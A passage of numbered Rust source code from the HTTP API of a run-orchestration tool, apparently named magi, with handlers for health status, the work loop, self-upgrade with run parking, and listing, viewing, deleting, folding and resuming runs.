1712 questions_rev: u64,
1724 talks_rev: u64,
1726 notifications_rev: u64,
1728 notifications_unread: usize,
1731 loop_rev: u64,
1736 runs_unreadable: usize,
1744 disk: DiskView,
1752 questions_open: usize,
1758 questions_needs_owner: usize,
1768 daemon: DaemonView,
1769 #[serde(rename = "loop")]
1775 looping: LoopView,
1776 update: UpdateView,
1783 upgrade: Option<UpgradeProgressView>,
1787}
1788
1789#[derive(Debug, Serialize)]
1796struct UpdateView {
1797 available: bool,
1799 to: Option<String>,
1801}
1802
1803#[derive(Debug, Serialize)]
1805struct UpgradeProgressView {
1806 stage: updater::Stage,
1807 from: String,
1808 to: Option<String>,
1809 waiting_on: Option<String>,
1812 started_at: Timestamp,
1813 updated_at: Timestamp,
1814 detail: Option<String>,
1815 stuck_for_secs: Option<i64>,
1818}
1819
1820fn should_spawn_recheck(cfg: &Update) -> bool {
1827 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1828}
1829
1830fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1842 if progress.is_some_and(|p| !p.stage.terminal()) {
1843 return false;
1844 }
1845 checker.should_check()
1846}
1847
1848fn recheck_poll_period(cfg: &Update) -> Duration {
1861 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1862}
1863
1864async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1888 loop {
1889 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1890 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1891 if !should_spawn_recheck(&cfg.update) {
1892 continue;
1893 }
1894 let Some(checker) = updater::Checker::new(&cfg.update) else {
1895 continue;
1896 };
1897 let progress = updater::read_progress(&home);
1898 if !update_recheck_due(&checker, progress.as_ref()) {
1899 continue;
1900 }
1901 if let Err(e) = checker.newer_release().await {
1902 tracing::warn!("background update recheck failed: {e:#}");
1903 }
1904 }
1905}
1906
1907fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1913 let default;
1914 let cfg = match cfg {
1915 Some(cfg) => cfg,
1916 None => {
1917 default = Config::default();
1918 &default
1919 }
1920 };
1921 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1922 match latest {
1923 Some(latest) => UpdateView {
1924 available: true,
1925 to: Some(latest.tag_name),
1926 },
1927 None => UpdateView {
1928 available: false,
1929 to: None,
1930 },
1931 }
1932}
1933
1934fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1940 let waiting_on = (progress.stage == updater::Stage::Parking)
1941 .then_some(progress.parked_run.as_deref())
1942 .flatten()
1943 .and_then(|id| read_run(&ui.runs, id).ok())
1944 .map(|run| {
1945 format!(
1946 "run {} is finishing {} before the address is handed over",
1947 run.short(),
1948 run.status.as_str()
1949 )
1950 });
1951 let detail = progress
1952 .detail
1953 .clone()
1954 .or_else(|| updater::read_note(&ui.home, &progress));
1955 let stalled = updater::stall(&progress, Timestamp::now());
1956 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1957 UpgradeProgressView {
1958 stuck_for_secs: stalled.map(|s| s.age_secs),
1959 stage: progress.stage,
1960 from: progress.from,
1961 to: progress.to,
1962 waiting_on,
1963 started_at: progress.started_at,
1964 updated_at: progress.updated_at,
1965 detail,
1966 }
1967}
1968
1969#[derive(Debug, Serialize)]
1974struct DiskView {
1975 #[serde(skip_serializing_if = "Option::is_none")]
1977 free_bytes: Option<u64>,
1978 runs_bytes: u64,
1980 worktrees_bytes: u64,
1982 #[serde(skip_serializing_if = "Option::is_none")]
1984 cache_bytes: Option<u64>,
1985}
1986
1987impl DiskView {
1988 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1990 let cache_bytes = cfg
1991 .and_then(|cfg| cfg.cache_dir())
1992 .map(|dir| crate::disk::dir_size(&dir));
1993 Self {
1994 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1995 runs_bytes: crate::disk::dir_size(&ui.runs),
1996 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1997 cache_bytes,
1998 }
1999 }
2000}
2001
2002#[derive(Debug, Serialize)]
2004struct DaemonView {
2005 running: bool,
2006 idle: Option<bool>,
2007 pid: Option<u32>,
2008 current: Vec<daemon::Current>,
2012 completed: Option<u64>,
2013 stale_for_secs: Option<i64>,
2014}
2015
2016impl DaemonView {
2017 fn of(status: Option<daemon::Reading>) -> Self {
2021 let Some(status) = status else {
2022 return Self {
2023 running: false,
2024 idle: None,
2025 pid: None,
2026 current: Vec::new(),
2027 completed: None,
2028 stale_for_secs: None,
2029 };
2030 };
2031 let now = Timestamp::now();
2032 let age = status.age_secs(now);
2033 Self {
2034 running: status.running(now),
2035 idle: Some(status.idle),
2036 pid: status.pid,
2037 current: status.current,
2038 completed: Some(status.completed),
2039 stale_for_secs: age,
2040 }
2041 }
2042}
2043
2044async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2045 blocking(move || {
2046 let reading = daemon::read_status(&ui.home);
2050 let loop_rev = ui.lock_loop().rev;
2054 let cfg = deputy_config(&ui.repo);
2057 let update = cached_update_view(cfg.as_ref());
2058 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2059 Ok(Json(HealthView {
2060 version: env!("CARGO_PKG_VERSION"),
2061 home: ui.home.display().to_string(),
2062 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2063 runs_rev: runs_revision(&ui.runs),
2064 questions_rev: ui.questions.revision(),
2065 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2066 notifications_rev: ui.notices.revision(),
2067 notifications_unread: ui.notices.count_unread(),
2068 loop_rev,
2069 runs_unreadable: runs_unreadable(&ui.runs),
2070 questions_open: ui.questions.count_open(),
2071 questions_needs_owner: ui.questions.count_needs_owner(),
2072 daemon: DaemonView::of(reading.clone()),
2073 looping: ui.loop_view(reading),
2074 disk: DiskView::of(&ui, cfg.as_ref()),
2075 update,
2076 upgrade,
2077 }))
2078 })
2079 .await
2080}
2081
2082#[derive(Debug, Serialize)]
2084struct LoopView {
2085 running: bool,
2087 stopping: bool,
2095 parking: bool,
2103 owned: bool,
2111 repo: String,
2114 merge: Option<String>,
2117 last_error: Option<String>,
2125 daemon: DaemonView,
2128}
2129
2130#[derive(Debug, Clone, Copy)]
2139struct Foreign {
2140 pid: Option<u32>,
2142}
2143
2144impl Foreign {
2145 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2148 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2152 }
2153
2154 fn who(&self) -> String {
2157 match self.pid {
2158 Some(pid) => format!("another magi process (pid {pid})"),
2159 None => "another magi process".to_owned(),
2160 }
2161 }
2162}
2163
2164type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2169
2170fn launch_daemon(
2172 opts: daemon::Opts,
2173 stop: daemon::Stop,
2174) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2175 Box::pin(daemon::serve_until(opts, stop))
2176}
2177
2178#[derive(Debug, Default)]
2180struct LoopState {
2181 live: Option<Live>,
2183 rev: u64,
2191 last_error: Option<String>,
2194 resume_after_handover: bool,
2199}
2200
2201#[derive(Debug)]
2203struct Live {
2204 stop: daemon::Stop,
2206 handle: tokio::task::JoinHandle<()>,
2211 opts: daemon::Opts,
2215}
2216
2217impl Live {
2218 fn alive(&self) -> bool {
2220 !self.handle.is_finished()
2221 }
2222}
2223
2224fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2231 state.lock().unwrap_or_else(PoisonError::into_inner)
2232}
2233
2234async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2236 blocking(move || {
2237 let reading = daemon::read_status(&ui.home);
2238 Ok(Json(ui.loop_view(reading)))
2239 })
2240 .await
2241}
2242
2243#[derive(Debug, Deserialize)]
2249#[serde(deny_unknown_fields)]
2250struct LoopCommand {
2251 running: bool,
2252 #[serde(default)]
2262 park: bool,
2263}
2264
2265async fn loop_post(
2273 State(ui): State<Arc<Ui>>,
2274 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2275) -> ApiResult<Json<LoopView>> {
2276 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2279 blocking(move || {
2280 let reading = daemon::read_status(&ui.home);
2281 let foreign = Foreign::of(reading.as_ref());
2282 if body.running {
2283 ui.start_loop(foreign)?;
2284 } else {
2285 ui.stop_loop(foreign, body.park)?;
2286 }
2287 Ok(Json(ui.loop_view(reading)))
2288 })
2289 .await
2290}
2291
2292#[derive(Debug, Serialize)]
2294struct UpgradeView {
2295 from: String,
2297 to: Option<String>,
2299 parked: Option<String>,
2301 detail: String,
2303}
2304
2305async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2329 let reading = daemon::read_status(&ui.home);
2330 if let Some(other) = Foreign::of(reading.as_ref()) {
2331 return Err(ApiError::conflict(format!(
2332 "the loop belongs to {}, so replacing this binary would leave \
2333 that process running an old one against the same queue. Upgrade \
2334 where it was started.",
2335 other.who()
2336 )));
2337 }
2338
2339 if crate::updater::disabled_by_env() {
2345 return Ok((
2346 StatusCode::OK,
2347 Json(UpgradeView {
2348 from: env!("CARGO_PKG_VERSION").to_owned(),
2349 to: None,
2350 parked: None,
2351 detail: format!(
2352 "Automatic updates are disabled by {}. Nothing was parked \
2353 and nothing restarted.",
2354 crate::updater::NO_AUTOUPDATE_ENV
2355 ),
2356 }),
2357 ));
2358 }
2359
2360 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2365 let from = env!("CARGO_PKG_VERSION").to_owned();
2366 let latest = match crate::updater::Checker::new(&cfg.update) {
2367 Some(checker) => checker
2368 .newer_release()
2369 .await
2370 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2371 None => None,
2372 };
2373 let Some(latest) = latest else {
2374 return Ok((
2375 StatusCode::OK,
2376 Json(UpgradeView {
2377 from,
2378 to: None,
2379 parked: None,
2380 detail: "Already on the newest release. Nothing was parked \
2381 and nothing restarted."
2382 .to_owned(),
2383 }),
2384 ));
2385 };
2386
2387 let parked = ui.park_for_upgrade()?;
2390 let detail = match &parked {
2391 Some(run) => format!(
2396 "Run {} is parking at its next step, which can take as long as \
2397 the step it is on - up to an hour for an implement wave. The \
2398 deck replaces itself once it parks, comes back, and the loop \
2399 carries that run on from where it stopped. Nothing is lost if \
2400 you close this.",
2401 crate::run::short_of(run)
2402 ),
2403 None => "The deck replaces itself and comes back. Nothing was in \
2404 flight to park."
2405 .to_owned(),
2406 };
2407
2408 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2412 progress.parked_run = parked.clone();
2413 let _ = updater::write_progress(&ui.home, &progress);
2414
2415 let home = ui.home.clone();
2416 let looping = ui.looping();
2417 tokio::spawn(async move {
2418 if let Err(e) = upgrade_and_restart(home.clone()).await {
2419 tracing::error!("the upgrade did not complete: {e:#}");
2420 lock_or_recover(&looping).resume_after_handover = false;
2421 if let Some(mut progress) = updater::read_progress(&home) {
2422 progress.fail(format!("{e:#}"));
2423 let _ = updater::write_progress(&home, &progress);
2424 }
2425 }
2426 });
2427
2428 Ok((
2429 StatusCode::ACCEPTED,
2430 Json(UpgradeView {
2431 from,
2432 to: Some(latest.tag_name),
2433 parked,
2434 detail,
2435 }),
2436 ))
2437}
2438
2439async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2444 crate::updater::run_self_update(true, false, true).await?;
2447 updater::log_step(&home, "binary replaced - recording the replaced stage");
2448 if let Some(mut progress) = updater::read_progress(&home) {
2449 progress.advance(updater::Stage::Replaced);
2450 updater::write_progress_logged(&home, &progress);
2451 }
2452 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2453 HANDOVER.notify_one();
2454 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2455 Ok(())
2456}
2457
2458#[derive(Debug, Serialize)]
2464struct RunSummary {
2465 id: String,
2466 short: String,
2467 status: String,
2468 done: bool,
2469 instruction: String,
2470 title: String,
2471 repo: String,
2472 repo_name: String,
2473 created_at: String,
2474 updated_at: String,
2475 candidates: usize,
2476 viable: usize,
2477 judges: usize,
2478 winner: Option<char>,
2479 reviews: usize,
2480 quota_losses: usize,
2481 event: Option<String>,
2482 superseded_by: Option<String>,
2487 waiting: bool,
2494 live: crate::run::Liveness,
2498 pr: Option<crate::run::PrRecord>,
2500 unmerged_by_design: bool,
2506 origin_label: String,
2509}
2510
2511impl RunSummary {
2512 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2513 Self {
2514 id: state.id.clone(),
2515 short: state.short().to_owned(),
2516 status: status_word(state.status),
2517 done: state.status.done(),
2518 unmerged_by_design: state.unmerged_by_design(),
2519 instruction: state.instruction.clone(),
2520 title: title_from(&state.instruction, TITLE_MAX),
2521 repo: state.repo.display().to_string(),
2522 repo_name: state
2523 .repo
2524 .file_name()
2525 .map(|n| n.to_string_lossy().into_owned())
2526 .unwrap_or_default(),
2527 created_at: state.created_at.to_string(),
2528 updated_at: state.updated_at.to_string(),
2529 candidates: state.candidates.len(),
2530 viable: state.viable().len(),
2531 judges: state.config.graph.judges,
2532 winner: state.winner().map(|c| c.label),
2533 reviews: state.reviews.len(),
2534 quota_losses: state.quota.len(),
2535 event: state.events.last().map(|e| e.message.clone()),
2536 waiting,
2537 live,
2538 superseded_by: None,
2541 pr: state.pr.clone(),
2542 origin_label: crate::run::origin_label(state.origin.as_ref()),
2543 }
2544 }
2545}
2546
2547fn status_word(status: RunStatus) -> String {
2550 status.as_str().to_owned()
2554}
2555
2556#[derive(Debug, Deserialize)]
2558struct ListQuery {
2559 #[serde(default)]
2560 limit: Option<usize>,
2561 ids: Option<String>,
2563}
2564
2565impl ListQuery {
2566 fn contains(&self, id: &str) -> bool {
2567 self.ids
2568 .as_ref()
2569 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2570 }
2571}
2572
2573async fn runs_list(
2574 State(ui): State<Arc<Ui>>,
2575 Query(q): Query<ListQuery>,
2576) -> ApiResult<Json<Vec<RunSummary>>> {
2577 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2578 blocking(move || {
2579 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2580 let states = run_ids(&ui.runs)
2581 .into_iter()
2582 .filter_map(|id| read_run(&ui.runs, &id).ok())
2587 .take(limit)
2588 .filter(|run| q.contains(&run.id));
2589 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2590 let summaries = summarize(
2591 states,
2592 &open_runs,
2593 &claimed,
2594 &superseded,
2595 |p| probe.borrow_mut().status(p),
2596 |p| probe.borrow_mut().started_at(p),
2597 );
2598 Ok(Json(summaries))
2599 })
2600 .await
2601}
2602
2603fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2608 let open_runs: HashSet<String> = ui
2609 .questions
2610 .list()
2611 .into_iter()
2612 .filter(|q| q.status.open())
2613 .map(|q| q.run)
2614 .collect();
2615 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2616 .into_iter()
2617 .map(|c| c.run)
2618 .collect();
2619 (open_runs, claimed, ui.queue.superseded())
2620}
2621
2622fn summarize<I, S, D>(
2628 states: I,
2629 open_runs: &HashSet<String>,
2630 claimed: &HashSet<String>,
2631 superseded: &HashMap<String, String>,
2632 mut status_q: S,
2633 mut identity_q: D,
2634) -> Vec<RunSummary>
2635where
2636 I: IntoIterator<Item = RunState>,
2637 S: FnMut(u32) -> Option<bool>,
2638 D: FnMut(u32) -> Option<String>,
2639{
2640 states
2641 .into_iter()
2642 .map(|state| {
2643 let waiting = open_runs.contains(&state.id);
2644 let live =
2645 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2646 let mut row = RunSummary::of(&state, waiting, live);
2647 row.superseded_by = superseded
2648 .get(&state.id)
2649 .map(String::as_str)
2650 .map(crate::run::short_of)
2651 .map(str::to_owned);
2652 row
2653 })
2654 .collect()
2655}
2656
2657#[derive(Debug, Serialize)]
2664struct RunDetailView {
2665 #[serde(flatten)]
2666 state: RunState,
2667 instruction_md: Vec<md::Node>,
2668 #[serde(flatten)]
2672 prose_md: RunProseMd,
2673 live: crate::run::Liveness,
2688 unmerged_by_design: bool,
2693 done: bool,
2698 superseded_by: Option<String>,
2706 latest_attempt: Option<LatestAttempt>,
2720 task: Option<TaskRef>,
2723 origin_label: String,
2727}
2728
2729#[derive(Debug, Serialize)]
2731struct TaskRef {
2732 id: String,
2733 short: String,
2734 title: String,
2735 source_label: String,
2737 source_link: Option<SourceLink>,
2739 status: &'static str,
2741 attempts: usize,
2742 max_attempts: usize,
2743 is_latest: bool,
2745 latest: Option<RunBrief>,
2747 finished_by: Option<RunBrief>,
2749 closed_by_hand: bool,
2751}
2752
2753#[derive(Debug, PartialEq, Eq, Serialize)]
2755struct SourceLink {
2756 kind: &'static str,
2758 id: String,
2760 href: String,
2762}
2763
2764fn encode_segment(raw: &str) -> String {
2766 let mut out = String::with_capacity(raw.len());
2767 for b in raw.bytes() {
2768 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2769 out.push(b as char);
2770 } else {
2771 out.push_str(&format!("%{b:02X}"));
2772 }
2773 }
2774 out
2775}
2776
2777fn source_link(source: &Source) -> Option<SourceLink> {
2781 let Source::Agent { run, node } = source else {
2782 return None;
2783 };
2784 let (kind, route) = if node == crate::queue::CHAT_NODE {
2785 ("chat", "chat")
2786 } else {
2787 ("run", "runs")
2788 };
2789 Some(SourceLink {
2790 kind,
2791 id: run.clone(),
2792 href: format!("#/{route}/{}", encode_segment(run)),
2793 })
2794}
2795
2796#[derive(Debug, Serialize)]
2798struct RunBrief {
2799 id: String,
2800 short: String,
2801 status: Option<&'static str>,
2803 outcome: String,
2805}
2806
2807fn task_outcome(
2810 task: &Task,
2811 this_run: &str,
2812 max_attempts: usize,
2813 read: impl Fn(&str) -> Option<RunState>,
2814) -> TaskRef {
2815 let history = task_history(task, read);
2816 let brief = |h: &TaskRunView| RunBrief {
2817 id: h.id.clone(),
2818 short: h.short.clone(),
2819 status: h.status,
2820 outcome: h.exit.edge_label(h.status),
2821 };
2822 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2823 let latest = if is_latest {
2824 None
2825 } else {
2826 history.last().map(brief)
2827 };
2828 let done = task.status == TaskStatus::Done;
2829 let finished_by = done
2830 .then(|| {
2831 history
2832 .iter()
2833 .rev()
2834 .find(|h| {
2835 matches!(
2836 h.exit,
2837 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2838 )
2839 })
2840 .map(brief)
2841 })
2842 .flatten();
2843 TaskRef {
2844 short: task.short().to_owned(),
2845 title: task.title.clone(),
2846 id: task.id.clone(),
2847 source_label: task.source.label(),
2848 source_link: source_link(&task.source),
2849 status: task.status.as_str(),
2850 attempts: task.attempts,
2851 max_attempts,
2852 is_latest,
2853 latest,
2854 closed_by_hand: done && finished_by.is_none(),
2855 finished_by,
2856 }
2857}
2858
2859#[derive(Debug, Serialize)]
2861struct LatestAttempt {
2862 id: String,
2863 short: String,
2864 resolved: bool,
2875 status: RunStatus,
2878 done: bool,
2880}
2881
2882#[derive(Debug, Default, Serialize)]
2884struct RunProseMd {
2885 advice_md: Option<AdviceMd>,
2887 candidate_summaries_md: Vec<Vec<md::Node>>,
2889 reviews_md: Vec<RoundMd>,
2891}
2892
2893#[derive(Debug, Default, Serialize)]
2894struct AdviceMd {
2895 synthesis: Vec<md::Node>,
2896 approaches: Vec<Vec<md::Node>>,
2898}
2899
2900#[derive(Debug, Default, Serialize)]
2901struct RoundMd {
2902 reviewers: Vec<ReviewerMd>,
2904 reconsideration: Vec<Vec<md::Node>>,
2906 fix: Option<FixMd>,
2907}
2908
2909#[derive(Debug, Default, Serialize)]
2910struct ReviewerMd {
2911 summary: Vec<md::Node>,
2912 findings: Vec<Vec<md::Node>>,
2914}
2915
2916#[derive(Debug, Default, Serialize)]
2917struct FixMd {
2918 notes: Vec<md::Node>,
2919 rejected: Vec<Vec<md::Node>>,
2921}
2922
2923fn run_prose_md(state: &RunState) -> RunProseMd {
2925 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2926 RunProseMd {
2927 advice_md: state.advice.as_ref().map(|a| AdviceMd {
2928 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2929 approaches: a
2930 .records
2931 .iter()
2932 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2933 .collect(),
2934 }),
2935 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2936 reviews_md: state
2937 .reviews
2938 .iter()
2939 .map(|round| RoundMd {
2940 reviewers: round
2941 .reviews
2942 .iter()
2943 .map(|rec| ReviewerMd {
2944 summary: nodes(&rec.summary),
2945 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2946 })
2947 .collect(),
2948 reconsideration: round
2949 .reconsideration
2950 .iter()
2951 .map(|rv| nodes(&rv.reason))
2952 .collect(),
2953 fix: round.fix.as_ref().map(|fix| FixMd {
2954 notes: nodes(&fix.notes),
2955 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2956 }),
2957 })
2958 .collect(),
2959 }
2960}
2961
2962impl RunDetailView {
2963 fn of(
2964 state: RunState,
2965 live: crate::run::Liveness,
2966 superseded_by: Option<String>,
2967 latest_attempt: Option<LatestAttempt>,
2968 task: Option<TaskRef>,
2969 ) -> Self {
2970 Self {
2971 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2972 prose_md: run_prose_md(&state),
2973 origin_label: crate::run::origin_label(state.origin.as_ref()),
2974 live,
2975 unmerged_by_design: state.unmerged_by_design(),
2976 done: state.status.done(),
2977 superseded_by,
2978 latest_attempt,
2979 task,
2980 state,
2981 }
2982 }
2983}
2984
2985async fn run_detail(
2986 State(ui): State<Arc<Ui>>,
2987 Path(id): Path<String>,
2988) -> ApiResult<Json<RunDetailView>> {
2989 blocking(move || {
2990 let id = resolve_run(&ui.runs, &id)?;
2991 let state = read_run(&ui.runs, &id)?;
2992 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2993 let live = state.liveness(daemon_claims);
2994 let superseded_by = ui
2995 .queue
2996 .superseded_by(&id)
2997 .as_deref()
2998 .map(crate::run::short_of)
2999 .map(str::to_owned);
3000 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3004 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3005 short: head.short().to_owned(),
3006 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3007 status: head.status,
3008 done: head.status.done(),
3009 id: head.id,
3010 })
3011 });
3012 let max_attempts = daemon::Opts::default().max_attempts;
3013 let task = ui
3014 .queue
3015 .list()
3016 .into_iter()
3017 .find(|t| t.runs.contains(&id))
3018 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3019 Ok(Json(RunDetailView::of(
3020 state,
3021 live,
3022 superseded_by,
3023 latest_attempt,
3024 task,
3025 )))
3026 })
3027 .await
3028}
3029
3030async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3039 let (id, unreadable) = {
3040 let ui = Arc::clone(&ui);
3041 blocking(move || {
3042 let id = resolve_run(&ui.runs, &id)?;
3043 match read_run(&ui.runs, &id) {
3044 Ok(state) => {
3045 let in_flight =
3046 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3047 state
3048 .ensure_can_delete(in_flight)
3049 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3050 let dir = ui.runs.join(&id);
3051 std::fs::remove_dir_all(&dir)
3052 .with_context(|| format!("remove run directory {}", dir.display()))?;
3053 Ok((id, false))
3054 }
3055 Err(_) => {
3056 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3060 return Err(ApiError::conflict(format!(
3061 "run {id} is being worked on by a live daemon right now"
3062 )));
3063 }
3064 Ok((id, true))
3065 }
3066 }
3067 })
3068 .await?
3069 };
3070 if unreadable {
3071 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3072 .await
3073 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3074 }
3075 let ui = Arc::clone(&ui);
3076 let done = id.clone();
3077 blocking(move || {
3078 ui.questions.abandon_for_run(
3081 &done,
3082 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3083 )?;
3084 Ok(())
3085 })
3086 .await?;
3087 Ok(StatusCode::NO_CONTENT)
3088}
3089
3090async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3114 let (id, state) = {
3115 let ui = Arc::clone(&ui);
3116 blocking(move || {
3117 let id = resolve_run(&ui.runs, &id)?;
3118 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3119 return Err(ApiError::conflict(format!(
3120 "run {id} is being worked on by a live daemon right now"
3121 )));
3122 }
3123 let state = read_run(&ui.runs, &id).ok();
3124 Ok((id, state))
3125 })
3126 .await?
3127 };
3128 let removed = match state {
3129 Some(mut state) => {
3130 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3131 .await
3132 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3133 if removed.is_empty() {
3138 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3139 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3140 }
3141 removed
3142 }
3143 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3144 .await
3145 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3146 };
3147 Ok(Json(FoldView {
3148 run: id,
3149 removed_count: removed.len(),
3150 removed,
3151 }))
3152}
3153
3154#[derive(Debug, Serialize)]
3156struct FoldView {
3157 run: String,
3158 removed: Vec<String>,
3160 removed_count: usize,
3161}
3162
3163#[derive(Debug, Deserialize)]
3166struct FoldMergedBody {
3167 #[serde(default)]
3168 pr_url: String,
3169}
3170
3171async fn run_fold_merged(
3191 State(ui): State<Arc<Ui>>,
3192 Path(id): Path<String>,
3193 Json(body): Json<FoldMergedBody>,
3194) -> ApiResult<Json<FoldMergedView>> {
3195 let pr_url = body.pr_url.trim().to_owned();
3196 if pr_url.is_empty() {
3197 return Err(ApiError::bad_request("pr_url is required"));
3198 }
3199 let (id, mut state) = {
3200 let ui = Arc::clone(&ui);
3201 blocking(move || {
3202 let id = resolve_run(&ui.runs, &id)?;
3203 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3204 return Err(ApiError::conflict(format!(
3205 "run {id} is being worked on by a live daemon right now"
3206 )));
3207 }
3208 let state = read_run(&ui.runs, &id)?;
3209 Ok((id, state))
3210 })
3211 .await?
3212 };
3213 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3214 .await
3215 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3216 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3217 .await
3218 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3219 Ok(Json(FoldMergedView {
3220 run: id,
3221 before: before.as_str().to_owned(),
3222 after: after.as_str().to_owned(),
3223 removed,
3224 }))
3225}
3226
3227#[derive(Debug, Serialize)]
3229struct FoldMergedView {
3230 run: String,
3231 before: String,
3233 after: String,
3235 removed: Vec<String>,
3237}
3238
3239async fn run_resume(
3259 State(ui): State<Arc<Ui>>,
3260 Path(id): Path<String>,
3261) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3262 let (id, state) = {
3263 let ui = Arc::clone(&ui);
3264 blocking(move || {
3265 let id = resolve_run(&ui.runs, &id)?;
3266 let state = read_run(&ui.runs, &id)?;
3267 Ok((id, state))
3268 })
3269 .await?
3270 };
3271 if let Some(to) = &state.released_to {
3272 return Err(ApiError::conflict(format!(
3273 "run {} can no longer be resumed: its worktree was released to run {}, which \
3274 took the branch over.",
3275 state.short(),
3276 crate::run::short_of(to)
3277 )));
3278 }
3279 if !state.status.resumable() {
3280 return Err(ApiError::conflict(format!(
3281 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3282 state.short(),
3283 status_word(state.status)
3284 )));
3285 }
3286 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3291 .into_iter()
3292 .next()
3293 {
3294 return Err(ApiError::conflict(format!(
3295 "the loop is running run {} right now; stop it first, or wait for \
3296 it to finish, before resuming a run by hand.",
3297 crate::run::short_of(&work.run)
3298 )));
3299 }
3300 let _resume = ui.begin_resume(&id)?;
3301
3302 let queued = RunSummary::of(
3305 &state,
3306 !ui.questions.open_for(&id).is_empty(),
3307 state.liveness(false),
3308 );
3309 let run = id.clone();
3310 tokio::spawn(async move {
3311 let _resume = _resume;
3312 match crate::graph::Runner::resume(&run) {
3313 Ok(mut runner) => {
3314 if let Err(e) = runner.execute().await {
3315 tracing::warn!("resume of run {run} stopped: {e:#}");
3316 }
3317 }
3318 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3321 }
3322 });
3323 Ok((StatusCode::ACCEPTED, Json(queued)))
3324}
3325
3326async fn run_report(
3327 State(ui): State<Arc<Ui>>,
3328 Path(id): Path<String>,
3329) -> ApiResult<impl IntoResponse> {
3330 let text = blocking(move || {
3331 let id = resolve_run(&ui.runs, &id)?;
